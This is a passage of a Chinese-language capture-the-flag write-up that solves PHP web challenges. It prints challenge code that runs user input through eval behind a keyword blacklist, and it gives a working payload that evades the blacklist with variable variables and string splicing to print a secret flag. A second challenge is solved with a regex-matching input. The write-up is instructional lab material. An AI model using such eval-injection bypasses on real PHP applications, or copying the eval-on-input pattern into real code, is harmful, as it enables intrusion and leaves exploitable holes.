echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}
echo '<hr>';
highlight_file(__FILE__);
<?php
$s=sha1(time());
echo $s;
?>
發現每時每刻長度都固定: 3e16f4fb5552eea3a9ca69b4a3b34fa00cc47900
eeb3d8c9d23853b5cdd9ff5b99b6032562b51ddd
b3b67a4905a90a58ad871c6fa24b6740f1530b86
8b5202991bcba3ff13dd2c1f5a37d49e00e4bc48
增加條件: <?php $s=sha1(time()); echo $s; $c=strlen($s); echo '
'; echo $c; ?> 輸出
09d3c5189576f97f22d5bf4a31074bec4db71289
40
長度為40.
加上php判斷條件后長度為49。嘗試輸入49個0成功。
此時關注到最后一個判斷條件: 此處我們可以自己造一個韓束出來來顯示flag這個變量,但由於flag被過濾,我沒讓你需要用拼接的方式來讓它顯現出來 $a='alag'; $a{0}='f'; 在php中 <?php echo $a?>和<?=$a?>是一樣的 payload:?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>
此時就是echo $flag
30.
<?php
require __DIR__.'/flag.php';
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){
die('Flag: '.$flag);
}
highlight_file(__FILE__);
?>
滿足正則表達式匹配即可,hongya..ho..ngya....hongyaaa:/./..hongya